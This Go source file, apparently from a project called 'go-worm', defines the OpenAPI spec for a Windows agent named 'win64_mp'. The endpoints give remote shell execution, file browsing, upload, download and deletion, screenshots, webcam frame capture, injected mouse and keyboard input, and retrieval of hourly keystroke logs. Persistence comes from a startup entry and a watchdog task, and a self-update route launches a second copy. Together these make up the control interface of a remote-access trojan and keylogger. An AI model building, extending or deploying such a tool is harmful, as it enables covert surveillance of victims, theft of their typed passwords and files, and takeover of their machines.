package openapi import "tea.chunkbyte.com/kato/go-worm/lib/config" func Spec() map[string]any { ref := func(name string) map[string]string { return map[string]string{"$ref": "#/components/schemas/" + name} } jsonBody := func(schema map[string]string) map[string]any { return map[string]any{ "required": true, "content": map[string]any{ "application/json": map[string]any{"schema": schema}, }, } } errResp := func(desc string) map[string]any { return map[string]any{"description": desc, "content": map[string]any{ "application/json": map[string]any{"schema": ref("Error")}, }} } okJSON := func(desc string, schema map[string]string) map[string]any { return map[string]any{"description": desc, "content": map[string]any{ "application/json": map[string]any{"schema": schema}, }} } auth := func(responses map[string]any) map[string]any { responses["401"] = errResp("Unauthorized") return responses } return map[string]any{ "openapi": "3.0.3", "info": map[string]any{ "title": "win64_mp", "description": "HTTP API for win64_mp. Set AGENT_ADDR (default 0.0.0.0:5032) and optionally AGENT_FILE_ROOT to restrict file access. HTTP Basic auth required (except /openapi).", "version": config.Version, }, "servers": []map[string]any{ {"url": "http://127.0.0.1:5032", "description": "Default listen address (override host/port as needed)"}, }, "security": []map[string]any{{"basicAuth": []string{}}}, "paths": map[string]any{ "/health": map[string]any{ "get": map[string]any{ "summary": "Health check", "operationId": "health", "responses": auth(map[string]any{ "200": okJSON("Agent is running", ref("Health")), }), }, }, "/healthz": map[string]any{ "get": map[string]any{ "summary": "Health check alias", "operationId": "healthz", "responses": auth(map[string]any{ "200": okJSON("Agent is running", ref("Health")), }), }, }, "/api/v1/status": map[string]any{ "get": map[string]any{ "summary": "Agent status", "operationId": "getStatus", "responses": auth(map[string]any{ "200": okJSON("Host and agent metadata", ref("Status")), }), }, }, "/api/v1/files": map[string]any{ "get": map[string]any{ "summary": "List directory entries", "operationId": "listFiles", "parameters": []map[string]any{ {"name": "path", "in": "query", "schema": map[string]string{"type": "string"}, "description": "Directory path; defaults to the current user's home directory"}, {"name": "depth", "in": "query", "schema": map[string]any{"type": "integer", "minimum": 0, "default": 0}, "description": "Recursion depth (0 = immediate children only)"}, }, "responses": auth(map[string]any{ "200": okJSON("Directory listing", ref("FileList")), "400": errResp("Invalid path or depth"), "403": errResp("Path outside allowed root"), "404": errResp("Path not found"), }), }, "delete": map[string]any{ "summary": "Delete a file or directory", "operationId": "deleteFile", "parameters": []map[string]any{ {"name": "path", "in": "query", "required": true, "schema": map[string]string{"type": "string"}}, }, "responses": auth(map[string]any{ "200": okJSON("Deleted", ref("OkPath")), "400": errResp("Invalid path"), "403": errResp("Path outside allowed root"), "404": errResp("Path not found"), }), }, }, "/api/v1/files/zip": map[string]any{ "get": map[string]any{ "summary": "Download a directory as a zip archive", "operationId": "zipFolder", "description": "Zips the directory into a temporary file and streams it as an attachment.", "parameters": []map[string]any{ {"name": "path", "in": "query", "required": true, "schema": map[string]string{"type": "string"}, "description": "Absolute path to the directory"}, }, "responses": auth(map[string]any{ "200": map[string]any{"description": "Zip archive", "content": map[string]any{"application/zip": map[string]any{"schema": map[string]string{"type": "string", "format": "binary"}}}}, "400": errResp("Invalid path or not a directory"), "403": errResp("Path outside allowed root"), "404": errResp("Path not found"), "413": errResp("Archive exceeds size limit"), }), }, }, "/api/v1/download": map[string]any{ "get": map[string]any{ "summary": "Download a file", "operationId": "downloadFile", "parameters": []map[string]any{ {"name": "path", "in": "query", "required": true, "schema": map[string]string{"type": "string"}}, }, "responses": auth(map[string]any{ "200": map[string]any{"description": "File bytes", "content": map[string]any{"application/octet-stream": map[string]any{"schema": map[string]string{"type": "string", "format": "binary"}}}}, "400": errResp("Invalid path or directory"), "403": errResp("Path outside allowed root"), "404": errResp("File not found"), }), }, }, "/api/v1/upload": map[string]any{ "post": map[string]any{ "summary": "Upload a file", "operationId": "uploadFile", "requestBody": map[string]any{ "required": true, "content": map[string]any{ "multipart/form-data": map[string]any{ "schema": map[string]any{ "type": "object", "required": []string{"path", "file"}, "properties": map[string]any{ "path": map[string]string{"type": "string", "description": "Destination directory"}, "file": map[string]string{"type": "string", "format": "binary"}, }, }, }, }, }, "responses": auth(map[string]any{ "200": okJSON("Uploaded", ref("UploadResult")), "400": errResp("Invalid path or body"), "403": errResp("Path outside allowed root"), }), }, }, "/api/v1/screenshot": map[string]any{ "get": map[string]any{ "summary": "Capture a monitor", "operationId": "screenshot", "parameters": []map[string]any{ {"name": "format", "in": "query", "schema": map[string]any{"type": "string", "enum": []string{"png", "jpeg"}, "default": "png"}}, {"name": "quality", "in": "query", "schema": map[string]any{"type": "integer", "minimum": 1, "maximum": 100, "default": 80}, "description": "JPEG quality only"}, {"name": "monitor", "in": "query", "schema": map[string]any{"type": "integer", "minimum": 0, "default": 0}}, }, "responses": auth(map[string]any{ "200": map[string]any{ "description": "Screenshot image", "headers": map[string]any{ "X-Monitor-Left": map[string]any{"schema": map[string]string{"type": "integer"}}, "X-Monitor-Top": map[string]any{"schema": map[string]string{"type": "integer"}}, "X-Monitor-Width": map[string]any{"schema": map[string]string{"type": "integer"}}, "X-Monitor-Height": map[string]any{"schema": map[string]string{"type": "integer"}}, }, "content": map[string]any{ "image/png": map[string]any{"schema": map[string]string{"type": "string", "format": "binary"}}, "image/jpeg": map[string]any{"schema": map[string]string{"type": "string", "format": "binary"}}, }, }, "400": errResp("Invalid parameters"), "503": errResp("No interactive desktop available"), }), }, }, "/api/v1/webcam": map[string]any{ "get": map[string]any{ "summary": "List webcams", "operationId": "listWebcams", "responses": auth(map[string]any{ "200": okJSON("Connected capture devices", ref("WebcamList")), "503": errResp("Webcam enumeration failed"), }), }, }, "/api/v1/webcam/frame": map[string]any{ "get": map[string]any{ "summary": "Capture a webcam frame", "operationId": "webcamFrame", "parameters": []map[string]any{ {"name": "device", "in": "query", "schema": map[string]any{"type": "integer", "minimum": 0, "default": 0}, "description": "Device index from /api/v1/webcam"}, {"name": "format", "in": "query", "schema": map[string]any{"type": "string", "enum": []string{"png", "jpeg"}, "default": "jpeg"}}, {"name": "quality", "in": "query", "schema": map[string]any{"type": "integer", "minimum": 1, "maximum": 100, "default": 80}, "description": "JPEG quality only"}, }, "responses": auth(map[string]any{ "200": map[string]any{ "description": "Webcam frame", "headers": map[string]any{ "X-Webcam-Width": map[string]any{"schema": map[string]string{"type": "integer"}}, "X-Webcam-Height": map[string]any{"schema": map[string]string{"type": "integer"}}, }, "content": map[string]any{ "image/png": map[string]any{"schema": map[string]string{"type": "string", "format": "binary"}}, "image/jpeg": map[string]any{"schema": map[string]string{"type": "string", "format": "binary"}}, }, }, "400": errResp("Invalid parameters or device"), "503": errResp("Webcam capture failed"), }), }, }, "/api/v1/exec": map[string]any{ "post": map[string]any{ "summary": "Run a shell command", "operationId": "exec", "requestBody": jsonBody(ref("ExecRequest")), "responses": auth(map[string]any{ "200": okJSON("Command finished", ref("ExecResponse")), "400": errResp("Invalid command or timeout"), "504": errResp("Command timed out"), }), }, }, "/api/v1/startup": map[string]any{ "post": map[string]any{ "summary": "Add agent to Windows startup and a 5-minute watchdog task", "operationId": "enableStartup", "responses": auth(map[string]any{ "200": okJSON("Startup state", ref("StartupState")), }), }, "delete": map[string]any{ "summary": "Remove agent from Windows startup and the watchdog task", "operationId": "disableStartup", "responses": auth(map[string]any{ "200": okJSON("Startup state", ref("StartupState")), }), }, }, "/api/v1/update": map[string]any{ "post": map[string]any{ "summary": "Deploy uploaded agent executable on alternate port", "operationId": "deployUpdate", "description": "Upload a .exe and launch it on port 5033 when this instance uses 5032, or vice versa. The current instance is left running.", "requestBody": map[string]any{ "required": true, "content": map[string]any{ "multipart/form-data": map[string]any{ "schema": map[string]any{ "type": "object", "required": []string{"file"}, "properties": map[string]any{ "file": map[string]string{"type": "string", "format": "binary", "description": "Windows amd64 executable"}, }, }, }, }, }, "responses": auth(map[string]any{ "200": okJSON("Update launched", ref("UpdateResult")), "400": errResp("Invalid file or executable"), "409": errResp("Alternate port already in use"), }), }, }, "/api/v1/input/click": map[string]any{ "post": map[string]any{ "summary": "Click the desktop", "operationId": "click", "requestBody": jsonBody(ref("ClickRequest")), "responses": auth(map[string]any{ "200": okJSON("Clicked", ref("ClickResult")), "400": errResp("Invalid coordinates or button"), }), }, }, "/api/v1/input/key": map[string]any{ "post": map[string]any{ "summary": "Send a key press", "operationId": "sendKey", "requestBody": jsonBody(ref("KeyRequest")), "responses": auth(map[string]any{ "200": okJSON("Key sent", ref("KeyResult")), "400": errResp("Invalid key or action"), }), }, }, "/api/v1/input/text": map[string]any{ "post": map[string]any{ "summary": "Type text into the focused field", "operationId": "typeText", "requestBody": jsonBody(ref("TextRequest")), "responses": auth(map[string]any{ "200": okJSON("Text typed", ref("TextResult")), "400": errResp("Invalid or empty text"), }), }, }, "/api/v1/keylog": map[string]any{ "get": map[string]any{ "summary": "List keystroke log files", "operationId": "listKeylogs", "responses": auth(map[string]any{ "200": okJSON("Keystroke log index", ref("KeylogList")), }), }, }, "/api/v1/keylog/download": map[string]any{ "get": map[string]any{ "summary": "Download a keystroke log file", "operationId": "downloadKeylog", "parameters": []map[string]any{ {"name": "file", "in": "query", "required": true, "schema": map[string]string{"type": "string"}, "description": "Hourly log filename, e.g. 2026-08-28-13.log"}, }, "responses": auth(map[string]any{ "200": map[string]any{"description": "Plain-text keystroke transcript", "content": map[string]any{ "text/plain": map[string]any{"schema": map[string]string{"type": "string"}}, }}, "400": errResp("Invalid filename"), "404": errResp("Log file not found"), }), }, }, }, "components": map[string]any{ "securitySchemes": map[string]any{ "basicAuth": map[string]any{"type": "http", "scheme": "basic"}, }, "schemas": map[string]any{ "Error": map[string]any{ "type": "object", "required": []string{"error"}, "properties": map[string]any{"error": map[string]string{"type": "string"}}, }, "Health": map[string]any{ "type": "object", "required": []string{"status"}, "properties": map[string]any{"status": map[string]string{"type": "string", "example": "ok"}}, }, "Status": map[string]any{ "type": "object", "properties": map[string]any{ "os": map[string]string{"type": "string"}, "architecture": map[string]string{"type": "string"}, "user": map[string]string{"type": "string"}, "hostname": map[string]string{"type": "string"}, "uptime_seconds": map[string]any{"type": "integer", "format": "int64"}, "local_ips": map[string]any{"type": "array", "items": map[string]string{"type": "string"}}, "agent_version": map[string]string{"type": "string"}, "listen_address": map[string]string{"type": "string"}, "startup_enabled": map[string]any{"type": "boolean"}, }, }, "FileItem": map[string]any{ "type": "object", "properties": map[string]any{ "name": map[string]string{"type": "string"}, "path": map[string]string{"type": "string"}, "type": map[string]any{"type": "string", "enum": []string{"file", "dir"}}, "size": map[string]any{"type": "integer", "format": "int64"}, "modified_time": map[string]string{"type": "string", "format": "date-time"}, }, }, "FileList": map[string]any{ "type": "object", "properties": map[string]any{ "path": map[string]string{"type": "string"}, "depth": map[string]any{"type": "integer"}, "entries": map[string]any{"type": "array", "items": ref("FileItem")}, }, }, "OkPath": map[string]any{ "type": "object", "properties": map[string]any{ "ok": map[string]any{"type": "boolean"}, "path": map[string]string{"type": "string"}, }, }, "UploadResult": map[string]any{ "type": "object", "properties": map[string]any{ "ok": map[string]any{"type": "boolean"}, "path": map[string]string{"type": "string"}, "size": map[string]any{"type": "integer", "format": "int64"}, "name": map[string]string{"type": "string"}, }, }, "UpdateResult": map[string]any{ "type": "object", "properties": map[string]any{ "ok": map[string]any{"type": "boolean"}, "path": map[string]string{"type": "string"}, "listen_address": map[string]string{"type": "string"}, "previous_listen_address": map[string]string{"type": "string"}, }, }, "ExecRequest": map[string]any{ "type": "object", "required": []string{"command"}, "properties": map[string]any{ "command": map[string]string{"type": "string", "example": "ipconfig /all"}, "timeout_sec": map[string]any{"type": "integer", "minimum": 0, "maximum": 120, "default": 30}, }, }, "ExecResponse": map[string]any{ "type": "object", "properties": map[string]any{ "exit_code": map[string]any{"type": "integer"}, "stdout": map[string]string{"type": "string"}, "stderr": map[string]string{"type": "string"}, }, }, "StartupState": map[string]any{ "type": "object", "properties": map[string]any{"startup_enabled": map[string]any{"type": "boolean"}}, }, "ClickRequest": map[string]any{ "type": "object", "required": []string{"x", "y", "button"}, "properties": map[string]any{ "x": map[string]any{"type": "integer", "description": "Absolute screen X coordinate"}, "y": map[string]any{"type": "integer", "description": "Absolute screen Y coordinate"}, "button": map[string]any{"type": "string", "enum": []string{"left", "right", "middle"}}, "monitor": map[string]any{"type": "integer", "minimum": 0, "default": 0}, }, }, "ClickResult": map[string]any{ "type": "object", "properties": map[string]any{ "ok": map[string]any{"type": "boolean"}, "x": map[string]any{"type": "integer"}, "y": map[string]any{"type": "integer"}, }, }, "KeyRequest": map[string]any{ "type": "object", "required": []string{"key"}, "properties": map[string]any{ "key": map[string]string{"type": "string", "example": "a", "description": "Key name: letter, digit, enter, f1, etc."}, "action": map[string]any{ "type": "string", "enum": []string{"tap", "down", "up"}, "default": "tap", }, "modifiers": map[string]any{ "type": "array", "items": map[string]any{ "type": "string", "enum": []string{"ctrl", "alt", "shift", "win"}, }, }, }, }, "KeyResult": map[string]any{ "type": "object", "properties": map[string]any{ "ok": map[string]any{"type": "boolean"}, "key": map[string]string{"type": "string"}, "action": map[string]string{"type": "string"}, }, }, "TextRequest": map[string]any{ "type": "object", "required": []string{"text"}, "properties": map[string]any{ "text": map[string]any{"type": "string", "maxLength": 4096}, "delay_ms": map[string]any{"type": "integer", "minimum": 0, "maximum": 200}, }, }, "TextResult": map[string]any{ "type": "object", "properties": map[string]any{ "ok": map[string]any{"type": "boolean"}, "length": map[string]any{"type": "integer"}, "delay_ms": map[string]any{"type": "integer"}, }, }, "KeylogFile": map[string]any{ "type": "object", "properties": map[string]any{ "name": map[string]string{"type": "string"}, "size": map[string]any{"type": "integer", "format": "int64"}, "modified_time": map[string]string{"type": "string", "format": "date-time"}, }, }, "KeylogList": map[string]any{ "type": "object", "properties": map[string]any{ "directory": map[string]string{"type": "string"}, "files": map[string]any{"type": "array", "items": ref("KeylogFile")}, }, }, "WebcamDevice": map[string]any{ "type": "object", "properties": map[string]any{ "index": map[string]any{"type": "integer"}, "name": map[string]string{"type": "string"}, "version": map[string]string{"type": "string"}, }, }, "WebcamList": map[string]any{ "type": "object", "properties": map[string]any{ "devices": map[string]any{"type": "array", "items": ref("WebcamDevice")}, }, }, }, }, } }